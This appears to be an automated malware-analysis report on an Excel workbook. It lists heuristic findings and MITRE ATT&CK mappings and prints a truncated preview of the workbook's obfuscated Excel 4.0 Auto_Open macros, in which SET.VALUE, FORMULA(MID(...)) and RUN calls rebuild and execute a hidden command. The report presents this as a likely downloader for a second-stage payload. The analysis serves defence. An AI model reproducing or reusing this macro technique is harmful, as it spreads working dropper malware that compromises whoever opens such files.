MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macros utilize dangerous formula APIs, including the RUN function, indicating an intent to execute arbitrary code. The macro code appears to be obfuscated and attempts to reconstruct a string from various cell references, likely forming a command or URL for a second-stage payload. The presence of the RUN function and the use of dangerous APIs strongly suggest this macro is designed to download and execute further malicious content.
Heuristics 3
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 39457 bytes |
SHA-256: ce3612329609af1c8a78811f7e7126f726a96daadc4d06d650ecf1108f5dc0fc |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - AXLnA8JmRISQQE0lUjeUpCu6wCbs1 ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!JC17989 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,JG527,"SET.VALUE(BM27875,"23456789:;<=>?@ABCD")","" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,JG528,RUN(CW42387),"" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,EQ1857,"SET.VALUE(IQ64587,"XYZ[\]^_`abcdefghij")","" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,EQ1858,RUN(EQ48743),"" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,GV3485,"FORMULA(MID(IV17590,12,1)&MID(ER18785,3,1)&MID(IQ64587,17,1)&MID(CS22480,10,1)&MID(CS22480,10,1)&MID(CS22480,6,1)&MID(CS22480,9,1)&MID(IV17590,9,1)&MID(ER18785,16,1)&MID(ER18785,16,1)&MID(IQ64587,13,1)&MID(CS22480,5,1)&MID(IQ64587,12,1)&MID(CS22480,9,1)&MID(ER18785,15,1)&MID(CS22480,3,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(CS22480,8,1)&MID(CS22480,5,1)&MID(CS22480,9,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(CS22480,10,1)&MID(ER18785,15,1)&MID(IQ64587,12,1)&MID(CS22480,5,1)&MID(CS22480,3,1)&MID(ER18785,16,1)&MID(IQ64587,14,1)&MID(CS22480,4,1)&MID(ER18785,14,1)&MID(CS22480,11,1)&MID(CS22480,9,1)&MID(ER18785,16,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(IQ64587,15,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(IQ64587,14,1)&MID(CS22480,11,1)&MID(CS22480,6,1)&MID(IQ64587,13,1)&MID(IQ64587,10,1)&MID(CS22480,10,1)&MID(IQ64587,14,1)&MID(CS22480,9,1)&MID(ER18785,16,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(IQ64587,15,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(IQ64587,14,1)&MID(ER18785,14,1)&MID(CS22480,3,1)&MID(CS22480,9,1)&MID(IQ64587,18,1)&MID(ER18785,14,1)&MID(CS22480,4,1)&MID(CS22480,5,1)&MID(CS22480,4,1)&MID(ER18785,14,1)&MID(CS22480,9,1)&MID(IQ64587,14,1)&MID(IQ64587,12,1)&MID(CS22480,11,1)&MID(CS22480,8,1)&MID(IQ64587,18,1)&MID(CS22480,10,1)&MID(CS22480,15,1)&MID(ER18785,14,1)&MID(CS22480,11,1)&MID(CS22480,6,1)&MID(IQ64587,13,1)&MID(IQ64587,10,1)&MID(CS22480,10,1)&MID(IQ64587,14,1)&MID(CS22480,9,1)&MID(ER18785,3,1),GZ50260)","" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,GV3486,RUN(HB52036),"" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,J7434,"FORMULA(MID(IV17590,12,1)&MID(JP15392,5,1)&MID(JP15392,2,1)&MID(ER18785,9,1)&MID(JP15392,5,1)&MID(JP15392,15,1)&MID(JP15392,10,1)&MID(JP15392,17,1)&MID(JP15392,9,1)&MID(IV17590,17,1)&MID(JP15392,1,1)&MID(JP15392,14,1)&MID(ER18785,9,1)&MID(JP15392,15,1)&MID(JP15392,1,1)&MID(IV17590,16,1)&MID(JP15392,14,1)&MID(IV17590,18,1)&MID(JP15392,4,1)&MID(ER18785,9,1)&MID(ER18785,3,1)&MID(ER18785,17,1)&MID(ER18785,17,1)&MID(ER18785,17,1)&MID(ER18785,18,1)&MID(ER18785,3,1)&MID(ER18785,13,1)&MID(JP15392,14,1)&MID(IQ64587,4,1)&MID(ER18785,18,1)&MID(IV17590,6,1)&MID(IV17590,1,1)&MID(IV17590,7,1)&MID(IV17590,6,1)&MID(IQ64587,6,1)&MID(IV17590,18,1)&MID(IQ64587,4,1)&MID(ER18785,18,1)&MID(IV17590,2,1)&MID(IV17590,4,1)&MID(IQ64587,6,1)&MID(ER18785,10,1)&MID(ER18785,10,1)&MID(ER18785,13,1)&MID(JP15392,3,1)&MID(JP15392,11,1)&MID(JP15392,16,1)&MID(JP15392,11,1)&MID(ER18785,9,1)&MID(JP15392,14,1)&MID(IQ64587,4,1)&MID(ER18785,14,1)&MID(ER18785,18,1)&MID(IV17590,6,1)&MID(IV17590,6,1)&MID(ER18785,18,1)&MID(IQ64587,6,1)&MID(IV17590,18,1)&MID(IQ64587,4,1)&MID(IV17590,5,1)&MID(IV17590,1,1)&MID(IQ64587,6,1)&MID(ER18785,10,1)&MID(ER18785,13,1)&MID(ER18785,10,1),J7435)","" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,J7436,RUN(IX24472),"" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,BD8235,"SET.VALUE(DZ34724,"XYZ[\]^_`abcdefghij")","" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,BD8236,GOTO(JM14221),"" ' AXLnA8JmRISQQE0lUjeUpCu6wCbs1,P9041,"FORMULA(MID(BM27875,12,1)&MID(JU1064,3,1)&MID(BM27875,18,1)&MID(BM27875,9,1)&MID(DZ34724,5,1)&MID(HR56488,17,1)&MID(Z49622,9,1)&MID(DZ34724,14,1)&MID(Z49622,8,1)&MID(Z49622,9,1)&MID(DZ34724,5,1)&MID(HR56488,12,1)&MID(Z49622,11,1)&MID(DZ34724,11,1)&MID(Z49622,2,1)&MID(DZ34724,18,1)&MID(DZ34724,12,1)&MID(DZ34724,5,1)&M ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.